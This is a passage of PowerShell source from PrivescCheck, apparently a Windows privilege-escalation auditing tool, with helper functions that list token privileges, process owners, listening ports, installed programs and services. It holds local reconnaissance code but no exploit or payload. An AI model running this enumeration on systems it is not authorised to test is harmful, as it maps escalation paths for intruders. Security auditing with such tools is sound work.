591 function Get-PrivilegeDescription {
592 [CmdletBinding()] param(
593 [string]
594 $Name
595 )
596
597 $PrivilegeDescriptions = @{
598 "SeAssignPrimaryTokenPrivilege" = "Replace a process-level token";
599 "SeAuditPrivilege" = "Generate security audits";
600 "SeBackupPrivilege" = "Back up files and directories";
601 "SeChangeNotifyPrivilege" = "Bypass traverse checking";
602 "SeCreateGlobalPrivilege" = "Create global objects";
603 "SeCreatePagefilePrivilege" = "Create a pagefile";
604 "SeCreatePermanentPrivilege" = "Create permanent shared objects";
605 "SeCreateSymbolicLinkPrivilege" = "Create symbolic links";
606 "SeCreateTokenPrivilege" = "Create a token object";
607 "SeDebugPrivilege" = "Debug programs";
608 "SeDelegateSessionUserImpersonatePrivilege" = "Impersonate other users";
609 "SeEnableDelegationPrivilege" = "Enable computer and user accounts to be trusted for delegation";
610 "SeImpersonatePrivilege" = "Impersonate a client after authentication";
611 "SeIncreaseBasePriorityPrivilege" = "Increase scheduling priority";
612 "SeIncreaseQuotaPrivilege" = "Adjust memory quotas for a process";
613 "SeIncreaseWorkingSetPrivilege" = "Increase a process working set";
614 "SeLoadDriverPrivilege" = "Load and unload device drivers";
615 "SeLockMemoryPrivilege" = "Lock pages in memory";
616 "SeMachineAccountPrivilege" = "Add workstations to domain";
617 "SeManageVolumePrivilege" = "Manage the files on a volume";
618 "SeProfileSingleProcessPrivilege" = "Profile single process";
619 "SeRelabelPrivilege" = "Modify an object label";
620 "SeRemoteShutdownPrivilege" = "Force shutdown from a remote system";
621 "SeRestorePrivilege" = "Restore files and directories";
622 "SeSecurityPrivilege" = "Manage auditing and security log";
623 "SeShutdownPrivilege" = "Shut down the system";
624 "SeSyncAgentPrivilege" = "Synchronize directory service data";
625 "SeSystemEnvironmentPrivilege" = "Modify firmware environment values";
626 "SeSystemProfilePrivilege" = "Profile system performance";
627 "SeSystemtimePrivilege" = "Change the system time";
628 "SeTakeOwnershipPrivilege" = "Take ownership of files or other objects";
629 "SeTcbPrivilege" = "Act as part of the operating system";
630 "SeTimeZonePrivilege" = "Change the time zone";
631 "SeTrustedCredManAccessPrivilege" = "Access Credential Manager as a trusted caller";
632 "SeUndockPrivilege" = "Remove computer from docking station";
633 "SeUnsolicitedInputPrivilege" = "N/A";
634 }
635
636 $PrivilegeDescriptions[$Name]
637
638 }
639
640 # Get a handle to a process the current user owns
641 $ProcessHandle = [PrivescCheck.Win32]::GetCurrentProcess()
642 Write-Verbose "Current process handle: $ProcessHandle"
643
644 # Get a handle to the token corresponding to this process
645 $TOKEN_QUERY= 0x0008
646 [IntPtr]$TokenHandle = [IntPtr]::Zero
647 $Success = [PrivescCheck.Win32]::OpenProcessToken($ProcessHandle, $TOKEN_QUERY, [ref]$TokenHandle);
648 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
649
650 if ($Success) {
651
652 Write-Verbose "OpenProcessToken() OK - Token handle: $TokenHandle"
653
654 # TOKEN_INFORMATION_CLASS - 3 = TokenPrivileges
655 $TokenPrivilegesPtrSize = 0
656 $Success = [PrivescCheck.Win32]::GetTokenInformation($TokenHandle, 3, 0, $Null, [ref]$TokenPrivilegesPtrSize)
657 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
658
659 if (-not ($TokenPrivilegesPtrSize -eq 0)) {
660
661 Write-Verbose "GetTokenInformation() OK - TokenPrivilegesPtrSize = $TokenPrivilegesPtrSize"
662
663 [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesPtrSize)
664
665 $Success = [PrivescCheck.Win32]::GetTokenInformation($TokenHandle, 3, $TokenPrivilegesPtr, $TokenPrivilegesPtrSize, [ref]$TokenPrivilegesPtrSize)
666 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
667
668 if ($Success) {
669
670 # Convert the unmanaged memory at offset $TokenPrivilegesPtr to a TOKEN_PRIVILEGES managed type
671 $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [type] [PrivescCheck.Win32+TOKEN_PRIVILEGES])
672 #$Offset = [System.IntPtr]::Add($TokenPrivilegesPtr, 4)
673 # Properly Incrementing an IntPtr
674 # https://docs.microsoft.com/en-us/archive/blogs/jaredpar/properly-incrementing-an-intptr
675 $Offset = [IntPtr] ($TokenPrivilegesPtr.ToInt64() + 4)
676
677 Write-Verbose "GetTokenInformation() OK - Privilege count: $($TokenPrivileges.PrivilegeCount)"
678
679 For ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) {
680
681 # Cast the unmanaged memory at offset
682 $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Offset, [type] [PrivescCheck.Win32+LUID_AND_ATTRIBUTES])
683
684 # Copy LUID to unmanaged memory
685 $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf($LuidAndAttributes.Luid)
686 [IntPtr]$LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize)
687 [System.Runtime.InteropServices.Marshal]::StructureToPtr($LuidAndAttributes.Luid, $LuidPtr, $True)
688
689 # public static extern bool LookupPrivilegeName(string lpSystemName, IntPtr lpLuid, System.Text.StringBuilder lpName, ref int cchName );
690 [int]$Length = 0
691 $Success = [PrivescCheck.Win32]::LookupPrivilegeName($Null, $LuidPtr, $Null, [ref]$Length)
692 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
693
694 if (-not ($Length -eq 0)) {
695
696 Write-Verbose "LookupPrivilegeName() OK - Length = $Length"
697
698 $Name = New-Object -TypeName System.Text.StringBuilder
699 $Name.EnsureCapacity($Length + 1) |Out-Null
700 $Success = [PrivescCheck.Win32]::LookupPrivilegeName($Null, $LuidPtr, $Name, [ref]$Length)
701 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
702
703 if ($Success) {
704
705 $PrivilegeName = $Name.ToString()
706
707 # SE_PRIVILEGE_ENABLED = 0x00000002
708 $PrivilegeEnabled = ($LuidAndAttributes.Attributes -band 2) -eq 2
709
710 Write-Verbose "LookupPrivilegeName() OK - Name: $PrivilegeName - Enabled: $PrivilegeEnabled"
711
712 $PrivilegeObject = New-Object -TypeName PSObject
713 $PrivilegeObject | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $PrivilegeName
714 $PrivilegeObject | Add-Member -MemberType "NoteProperty" -Name "State" -Value $(if ($PrivilegeEnabled) { "Enabled" } else { "Disabled" })
715 $PrivilegeObject | Add-Member -MemberType "NoteProperty" -Name "Description" -Value $(Get-PrivilegeDescription -Name $PrivilegeName)
716 $PrivilegeObject
717
718 } else {
719 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
720 }
721
722 } else {
723 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
724 }
725
726 # Cleanup - Free unmanaged memory
727 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
728
729 # Update the offset to point to the next LUID_AND_ATTRIBUTES structure in the unmanaged buffer
730 #$Offset = [System.IntPtr]::Add($Offset, [System.Runtime.InteropServices.Marshal]::SizeOf($LuidAndAttributes))
731 # Properly Incrementing an IntPtr
732 # https://docs.microsoft.com/en-us/archive/blogs/jaredpar/properly-incrementing-an-intptr
733 $Offset = [IntPtr] ($Offset.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf($LuidAndAttributes))
734 }
735
736 } else {
737 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
738 }
739
740 # Cleanup - Free unmanaged memory
741 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr)
742
743 } else {
744 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
745 }
746
747 # Cleanup - Close Token handle
748 $Success = [PrivescCheck.Win32]::CloseHandle($TokenHandle)
749 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
750 if ($Success) {
751 Write-Verbose "Token handle closed"
752 } else {
753 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
754 }
755
756 } else {
757 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
758 }
759}
760
761function Get-UserFromProcess() {
762 <#
763 .SYNOPSIS
764
765 Helper - Gets the user associated to a given process
766
767 Author: @itm4n
768 License: BSD 3-Clause
769
770 .DESCRIPTION
771
772 First it gets a handle to the process identified by the given PID. Then, it uses this handle to
773 access the process token. GetTokenInformation() is then used to query the SID of the user.
774 Finally the SID is converted to a domain name, user name and SID type. All this information is
775 returned in a custom PS object.
776
777 .PARAMETER ProcessId
778
779 The PID of the target process
780
781 .EXAMPLE
782
783 PS C:\> Get-UserFromProcess -ProcessId 6972
784
785 Domain Username Type
786 ------ -------- ----
787 DESKTOP-FEOHNOM lab-user User
788
789 #>
790
791 [CmdletBinding()] param(
792 [Parameter(Mandatory=$true)]
793 [int]
794 $ProcessId
795 )
796
797 function Get-SidTypeName {
798 param(
799 $SidType
800 )
801
802 $SidTypeEnum = @{
803 "User" = "1";
804 "Group" = "2";
805 "Domain" = "3";
806 "Alias" = "4";
807 "WellKnownGroup" = "5";
808 "DeletedAccount" = "6";
809 "Invalid" = "7";
810 "Unknown" = "8";
811 "Computer" = "9";
812 "Label" = "10";
813 "LogonSession" = "11";
814 }
815
816 $SidTypeEnum.GetEnumerator() | ForEach-Object {
817 if ( $_.value -eq $SidType )
818 {
819 $_.name
820 }
821 }
822 }
823
824 # PROCESS_QUERY_INFORMATION = 0x0400
825 $AccessFlags = 0x0400
826 $ProcessHandle = [PrivescCheck.Win32]::OpenProcess($AccessFlags, $False, $ProcessId)
827 #$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
828
829 if (-not ($Null -eq $ProcessHandle)) {
830
831 Write-Verbose "OpenProcess() OK - Handle: $ProcessHandle"
832
833 $TOKEN_QUERY= 0x0008
834 [IntPtr]$TokenHandle = [IntPtr]::Zero
835 $Success = [PrivescCheck.Win32]::OpenProcessToken($ProcessHandle, $TOKEN_QUERY, [ref]$TokenHandle);
836 #$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
837
838 if ($Success) {
839
840 Write-Verbose "OpenProcessToken() OK - Handle: $ProcessHandle"
841
842 # TOKEN_INFORMATION_CLASS - 1 = TokenUser
843 $TokenUserPtrSize = 0
844 $Success = [PrivescCheck.Win32]::GetTokenInformation($TokenHandle, 1, 0, $Null, [ref]$TokenUserPtrSize)
845 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
846
847 if (($TokenUserPtrSize -gt 0) -and ($LastError -eq 122)) {
848
849 Write-Verbose "GetTokenInformation() OK - Size: $TokenUserPtrSize"
850
851 [IntPtr]$TokenUserPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenUserPtrSize)
852
853 $Success = [PrivescCheck.Win32]::GetTokenInformation($TokenHandle, 1, $TokenUserPtr, $TokenUserPtrSize, [ref]$TokenUserPtrSize)
854 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
855
856 if ($Success) {
857
858 Write-Verbose "GetTokenInformation() OK"
859
860 # Cast unmanaged memory to managed TOKEN_USER struct
861 $TokenUser = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenUserPtr, [type] [PrivescCheck.Win32+TOKEN_USER])
862
863 $SidType = 0
864
865 $UserNameSize = 256
866 $UserName = New-Object -TypeName System.Text.StringBuilder
867 $UserName.EnsureCapacity(256) | Out-Null
868
869 $UserDomainSize = 256
870 $UserDomain = New-Object -TypeName System.Text.StringBuilder
871 $UserDomain.EnsureCapacity(256) | Out-Null
872
873 $Success = [PrivescCheck.Win32]::LookupAccountSid($Null, $TokenUser.User.Sid, $UserName, [ref]$UserNameSize, $UserDomain, [ref]$UserDomainSize, [ref]$SidType)
874 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
875
876 if ($Success) {
877
878 $UserObject = New-Object -TypeName PSObject
879 $UserObject | Add-Member -MemberType "NoteProperty" -Name "Domain" -Value $UserDomain.ToString()
880 $UserObject | Add-Member -MemberType "NoteProperty" -Name "Username" -Value $UserName.ToString()
881 $UserObject | Add-Member -MemberType "NoteProperty" -Name "DisplayName" -Value "$($UserDomain.ToString())\$($UserName.ToString())"
882 $UserObject | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $(Get-SidTypeName $SidType)
883 $UserObject
884
885 } else {
886 Write-Verbose "LookupAccountSid() failed."
887 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
888 }
889 } else {
890 Write-Verbose "GetTokenInformation() failed."
891 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
892 }
893
894 # Cleanup - Free unmanaged memory
895 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenUserPtr)
896 }
897
898 # Cleanup - Close token handle
899 $Success = [PrivescCheck.Win32]::CloseHandle($TokenHandle)
900 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
901 if ($Success) {
902 Write-Verbose "Token handle closed"
903 } else {
904 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
905 }
906 } else {
907 Write-Verbose "Can't open token for process with PID $ProcessId"
908 }
909
910 # Cleanup - Close process handle
911 $Success = [PrivescCheck.Win32]::CloseHandle($ProcessHandle)
912 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
913 if ($Success) {
914 Write-Verbose "Process handle closed"
915 } else {
916 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
917 }
918 } else {
919 Write-Verbose "Can't open process with PID $ProcessId"
920 }
921}
922
923function Get-NetworkEndpoints {
924 <#
925 .SYNOPSIS
926
927 Helper - Gets a list of listening ports (TCP/UDP)
928
929 Author: @itm4n
930 License: BSD 3-Clause
931
932 .DESCRIPTION
933
934 It uses the 'GetExtendedTcpTable' and 'GetExtendedUdpTable' functions of the Windows API to
935 list the TCP/UDP endpoints on the local machine. It handles both IPv4 and IPv6. For each
936 entry in the table, a custom PS object is returned, indicating the IP version (IPv4/IPv6),
937 the protocol (TCP/UDP), the local address (e.g.: "0.0.0.0:445"), the state, the PID of the
938 associated process and the name of the process. The name of the process is retrieved through
939 a call to "Get-Process -PID <PID>".
940
941 .EXAMPLE
942
943 PS C:\> Get-NetworkEndpoints | ft
944
945 IP Proto LocalAddress LocalPort Endpoint State PID Name
946 -- ----- ------------ --------- -------- ----- --- ----
947 IPv4 TCP 0.0.0.0 135 0.0.0.0:135 LISTENING 1216 svchost
948 IPv4 TCP 0.0.0.0 445 0.0.0.0:445 LISTENING 4 System
949 IPv4 TCP 0.0.0.0 5040 0.0.0.0:5040 LISTENING 8580 svchost
950 IPv4 TCP 0.0.0.0 49664 0.0.0.0:49664 LISTENING 984 lsass
951 IPv4 TCP 0.0.0.0 49665 0.0.0.0:49665 LISTENING 892 wininit
952 IPv4 TCP 0.0.0.0 49666 0.0.0.0:49666 LISTENING 1852 svchost
953 IPv4 TCP 0.0.0.0 49667 0.0.0.0:49667 LISTENING 1860 svchost
954 IPv4 TCP 0.0.0.0 49668 0.0.0.0:49668 LISTENING 2972 svchost
955 IPv4 TCP 0.0.0.0 49669 0.0.0.0:49669 LISTENING 4480 spoolsv
956 IPv4 TCP 0.0.0.0 49670 0.0.0.0:49670 LISTENING 964 services
957
958 .EXAMPLE
959
960 PS C:\> Get-NetworkEndpoints -UDP -IPv6 | ft
961
962 IP Proto LocalAddress LocalPort Endpoint State PID Name
963 -- ----- ------------ --------- -------- ----- --- ----
964 IPv6 UDP :: 500 [::]:500 N/A 5000 svchost
965 IPv6 UDP :: 3702 [::]:3702 N/A 4128 dasHost
966 IPv6 UDP :: 3702 [::]:3702 N/A 4128 dasHost
967 IPv6 UDP :: 4500 [::]:4500 N/A 5000 svchost
968 IPv6 UDP :: 62212 [::]:62212 N/A 4128 dasHost
969 IPv6 UDP ::1 1900 [::1]:1900 N/A 5860 svchost
970 IPv6 UDP ::1 63168 [::1]:63168 N/A 5860 svchost
971 #>
972
973 [CmdletBinding()] param(
974 [switch]
975 $IPv6 = $False, # IPv4 by default
976 [switch]
977 $UDP = $False # TCP by default
978 )
979
980 $AF_INET6 = 23
981 $AF_INET = 2
982
983 if ($IPv6) {
984 $IpVersion = $AF_INET6
985 } else {
986 $IpVersion = $AF_INET
987 }
988
989 if ($UDP) {
990 $UDP_TABLE_OWNER_PID = 1
991 [int]$BufSize = 0
992 $Result = [PrivescCheck.Win32]::GetExtendedUdpTable([IntPtr]::Zero, [ref]$BufSize, $True, $IpVersion, $UDP_TABLE_OWNER_PID, 0)
993 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
994 } else {
995 $TCP_TABLE_OWNER_PID_LISTENER = 3
996 [int]$BufSize = 0
997 $Result = [PrivescCheck.Win32]::GetExtendedTcpTable([IntPtr]::Zero, [ref]$BufSize, $True, $IpVersion, $TCP_TABLE_OWNER_PID_LISTENER, 0)
998 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
999 }
1000
1001 if ($Result -eq 122) {
1002
1003 Write-Verbose "GetExtendedProtoTable() OK - Size: $BufSize"
1004
1005 [IntPtr]$TablePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BufSize)
1006
1007 if ($UDP) {
1008 $Result = [PrivescCheck.Win32]::GetExtendedUdpTable($TablePtr, [ref]$BufSize, $True, $IpVersion, $UDP_TABLE_OWNER_PID, 0)
1009 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1010 } else {
1011 $Result = [PrivescCheck.Win32]::GetExtendedTcpTable($TablePtr, [ref]$BufSize, $True, $IpVersion, $TCP_TABLE_OWNER_PID_LISTENER, 0)
1012 $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
1013 }
1014
1015 if ($Result -eq 0) {
1016
1017 if ($UDP) {
1018 if ($IpVersion -eq $AF_INET) {
1019 $Table = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TablePtr, [type] [PrivescCheck.Win32+MIB_UDPTABLE_OWNER_PID])
1020 } elseif ($IpVersion -eq $AF_INET6) {
1021 $Table = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TablePtr, [type] [PrivescCheck.Win32+MIB_UDP6TABLE_OWNER_PID])
1022 }
1023 } else {
1024 if ($IpVersion -eq $AF_INET) {
1025 $Table = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TablePtr, [type] [PrivescCheck.Win32+MIB_TCPTABLE_OWNER_PID])
1026 } elseif ($IpVersion -eq $AF_INET6) {
1027 $Table = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TablePtr, [type] [PrivescCheck.Win32+MIB_TCP6TABLE_OWNER_PID])
1028 }
1029 }
1030
1031 $NumEntries = $Table.dwNumEntries
1032
1033 Write-Verbose "GetExtendedProtoTable() OK - NumEntries: $NumEntries"
1034
1035 $Offset = [IntPtr] ($TablePtr.ToInt64() + 4)
1036
1037 For ($i = 0; $i -lt $NumEntries; $i++) {
1038
1039 if ($UDP) {
1040 if ($IpVersion -eq $AF_INET) {
1041 $TableEntry = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Offset, [type] [PrivescCheck.Win32+MIB_UDPROW_OWNER_PID])
1042 $LocalAddr = (New-Object -TypeName System.Net.IPAddress($TableEntry.localAddr)).IPAddressToString
1043 } elseif ($IpVersion -eq $AF_INET6) {
1044 $TableEntry = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Offset, [type] [PrivescCheck.Win32+MIB_UDP6ROW_OWNER_PID])
1045 $LocalAddr = New-Object -TypeName System.Net.IPAddress($TableEntry.localAddr, $TableEntry.localScopeId)
1046 }
1047 } else {
1048 if ($IpVersion -eq $AF_INET) {
1049 $TableEntry = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Offset, [type] [PrivescCheck.Win32+MIB_TCPROW_OWNER_PID])
1050 $LocalAddr = (New-Object -TypeName System.Net.IPAddress($TableEntry.localAddr)).IPAddressToString
1051 } elseif ($IpVersion -eq $AF_INET6) {
1052 $TableEntry = [System.Runtime.InteropServices.Marshal]::PtrToStructure($Offset, [type] [PrivescCheck.Win32+MIB_TCP6ROW_OWNER_PID])
1053 $LocalAddr = New-Object -TypeName System.Net.IPAddress($TableEntry.localAddr, $TableEntry.localScopeId)
1054 }
1055 }
1056
1057 $LocalPort = $TableEntry.localPort[0] * 0x100 + $TableEntry.localPort[1]
1058 $ProcessId = $TableEntry.owningPid
1059
1060 if ($IpVersion -eq $AF_INET) {
1061 $LocalAddress = "$($LocalAddr):$($LocalPort)"
1062 } elseif ($IpVersion -eq $AF_INET6) {
1063 $LocalAddress = "[$($LocalAddr)]:$($LocalPort)"
1064 }
1065
1066 $ListenerObject = New-Object -TypeName PSObject
1067 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "IP" -Value $(if ($IpVersion -eq $AF_INET) { "IPv4" } else { "IPv6" } )
1068 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "Proto" -Value $(if ($UDP) { "UDP" } else { "TCP" } )
1069 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "LocalAddress" -Value $LocalAddr
1070 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "LocalPort" -Value $LocalPort
1071 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "Endpoint" -Value $LocalAddress
1072 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "State" -Value $(if ($UDP) { "N/A" } else { "LISTENING" } )
1073 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "PID" -Value $ProcessId
1074 $ListenerObject | Add-Member -MemberType "NoteProperty" -Name "Name" -Value (Get-Process -PID $ProcessId).ProcessName
1075 $ListenerObject
1076
1077 $Offset = [IntPtr] ($Offset.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf($TableEntry))
1078 }
1079
1080 } else {
1081 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
1082 }
1083
1084 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TablePtr)
1085
1086 } else {
1087 Write-Verbose ([ComponentModel.Win32Exception] $LastError)
1088 }
1089}
1090
1091function Get-InstalledPrograms {
1092 <#
1093 .SYNOPSIS
1094
1095 Helper - Enumerates the installed applications
1096
1097 Author: @itm4n
1098 License: BSD 3-Clause
1099
1100 .DESCRIPTION
1101
1102 This looks for applications installed in the common "Program Files" and "Program Files (x86)"
1103 folders. It also enumerates installed applications thanks to the registry by looking for all
1104 the subkeys in "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall".
1105
1106 .PARAMETER Filtered
1107
1108 If True, only non-default applications are returned. Otherwise, all the applications are
1109 returned. The filter is base on a list of known applications which are known to be installed
1110 by default (e.g.: "Windows Defender").
1111
1112 .EXAMPLE
1113
1114 PS C:\> Get-InstalledPrograms -Filtered
1115
1116 Mode LastWriteTime Length Name
1117 ---- ------------- ------ ----
1118 d---- 29/11/2019 10:51 Npcap
1119 d---- 29/11/2019 10:51 Wireshark
1120
1121 #>
1122
1123 [CmdletBinding()] param(
1124 [switch]
1125 $Filtered = $False
1126 )
1127
1128 $InstalledProgramsResult = New-Object System.Collections.ArrayList
1129
1130 $InstalledPrograms = New-Object System.Collections.ArrayList
1131
1132 $PathProgram32 = Join-Path -Path $env:SystemDrive -ChildPath "Program Files (x86)"
1133 $PathProgram64 = Join-Path -Path $env:SystemDrive -ChildPath "Program Files"
1134
1135 $Items = Get-ChildItem -Path $PathProgram32,$PathProgram64 -ErrorAction SilentlyContinue
1136 if ($Items) {
1137 [void]$InstalledPrograms.AddRange($Items)
1138 }
1139
1140 $RegInstalledPrograms = Get-ChildItem -Path "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
1141 $RegInstalledPrograms6432 = Get-ChildItem -Path "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" -ErrorAction SilentlyContinue
1142 if ($RegInstalledPrograms6432) { $RegInstalledPrograms += $RegInstalledPrograms6432 }
1143 ForEach ($InstalledProgram in $RegInstalledPrograms) {
1144 $InstallLocation = [System.Environment]::ExpandEnvironmentVariables($InstalledProgram.GetValue("InstallLocation"))
1145 if ($InstallLocation) {
1146 if (Test-Path -Path $InstallLocation -ErrorAction SilentlyContinue) {
1147 if ($InstallLocation[$InstallLocation.Length - 1] -eq "\") {
1148 $InstallLocation = $InstallLocation.SubString(0, $InstallLocation.Length - 1)
1149 }
1150 $FileObject = Get-Item -Path $InstallLocation -ErrorAction SilentlyContinue -ErrorVariable GetItemError
1151 if ($GetItemError) {
1152 continue
1153 }
1154 if ($FileObject -is [System.IO.DirectoryInfo]) {
1155 continue
1156 }
1157 [void]$InstalledPrograms.Add([object]$FileObject)
1158 }
1159 }
1160 }
1161
1162 $PathListResult = New-Object System.Collections.ArrayList
1163 ForEach ($InstalledProgram in $InstalledPrograms) {
1164 if (-not ($PathListResult -contains $InstalledProgram.FullName)) {
1165 [void]$InstalledProgramsResult.Add($InstalledProgram)
1166 [void]$PathListResult.Add($InstalledProgram.FullName)
1167 }
1168 }
1169
1170 if ($Filtered) {
1171 $InstalledProgramsResultFiltered = New-Object -TypeName System.Collections.ArrayList
1172 ForEach ($InstalledProgram in $InstalledProgramsResult) {
1173 if (-Not ($global:IgnoredPrograms -contains $InstalledProgram.Name)) {
1174 [void]$InstalledProgramsResultFiltered.Add($InstalledProgram)
1175 }
1176 }
1177 $InstalledProgramsResultFiltered
1178 } else {
1179 $InstalledProgramsResult
1180 }
1181}
1182
1183function Get-ServiceList {
1184 <#
1185 .SYNOPSIS
1186
1187 Helper - Enumerates services (based on the registry)
1188
1189 Author: @itm4n
1190 License: BSD 3-Clause
1191
1192 .DESCRIPTION
1193
1194 This uses the registry to enumerate the services by looking for the subkeys of
1195 "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services". This allows any user to get information
1196 about all the services. So, even if non-privileged users can't access the details of a service
1197 through the Service Control Manager, they can do so simply by accessing the registry.
1198
1199 .PARAMETER FilterLevel
1200
1201 This parameter can be used to filter out the result returned by the function based on the
1202 following criteria:
1203 FilterLevel = 0 - No filtering
1204 FilterLevel = 1 - Exclude 'Services with empty ImagePath'
1205 FilterLevel = 2 - Exclude 'Services with empty ImagePath' + 'Drivers'
1206 FilterLevel = 3 - Exclude 'Services with empty ImagePath' + 'Drivers' + 'Known services'
1207
1208 .EXAMPLE
1209
1210 PS C:\> Get-ServiceList -FilterLevel 3
1211
1212 Name : VMTools
1213 DisplayName : VMware Tools
1214 User : LocalSystem
1215 ImagePath : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
1216 StartMode : Automatic
1217 Type : Win32OwnProcess
1218 RegistryKey : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VMTools
1219 RegistryPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VMTools
1220
1221 .NOTES
1222
1223 A service "Type" can be one of the following:
1224 KernelDriver = 1
1225 FileSystemDriver = 2
1226 Adapter = 4
1227 RecognizerDriver = 8
1228 Win32OwnProcess = 16
1229 Win32ShareProcess = 32
1230 InteractiveProcess = 256
1231
1232 #>
1233
1234 [CmdletBinding()] param(
1235 [Parameter(Mandatory=$true)]
1236 [ValidateSet(0,1,2,3)]
1237 [int]
1238 $FilterLevel
1239 )
1240
1241 $ServicesRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services"
1242 $RegAllServices = Get-ChildItem -Path $ServicesRegPath
1243
1244 ForEach ($RegService in $RegAllServices) {
1245
1246 $Properties = Get-ItemProperty -Path $RegService.PSPath -ErrorAction SilentlyContinue -ErrorVariable GetItemPropertyError
1247 if ($GetItemPropertyError) {
1248 # If an error occurred, skip the current item
1249 continue
1250 }
1251
1252 $DisplayName = [System.Environment]::ExpandEnvironmentVariables($Properties.DisplayName)
1253
1254 $ServiceItem = New-Object -TypeName PSObject
1255 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $Properties.PSChildName
1256 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "DisplayName" -Value $DisplayName
1257 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "User" -Value $Properties.ObjectName
1258 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "ImagePath" -Value $Properties.ImagePath
1259 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "StartMode" -Value $(Convert-ServiceStartModeToString -StartMode $Properties.Start)
1260 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $(Convert-ServiceTypeToString -ServiceType $Properties.Type)
1261 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "RegistryKey" -Value $RegService.Name
1262 $ServiceItem | Add-Member -MemberType "NoteProperty" -Name "RegistryPath" -Value $RegService.PSPath
1263
1264 # FilterLevel = 0 - Add the service to the list and go to the next one
1265 if ($FilterLevel -eq 0) {
1266 $ServiceItem
1267 continue
1268 }
1269
1270 if ($Properties.ImagePath -and (-not ($Properties.ImagePath.trim() -eq ''))) {
1271 # FilterLevel = 1 - Add the service to the list of its ImagePath is not empty
1272 if ($FilterLevel -le 1) {
1273 $ServiceItem
1274 continue
1275 }
1276
1277 if ($Properties.Type -gt 8) {
1278 # FilterLevel = 2 - Add the service to the list if it's not a driver
1279 if ($FilterLevel -le 2) {
1280 $ServiceItem
1281 continue
1282 }
1283
1284 if (-not (Test-IsKnownService -ServiceName $Properties.PSChildName)) {
1285 # FilterLevel = 3 - Add the service if it's not a built-in Windows service
1286 if ($FilterLevel -le 3) {
1287 $ServiceItem
1288 continue
1289 }
1290 }
1291 }
1292 }
1293 }
1294}
1295
1296function Get-ModifiablePath {
1297 <#
1298 .SYNOPSIS
1299
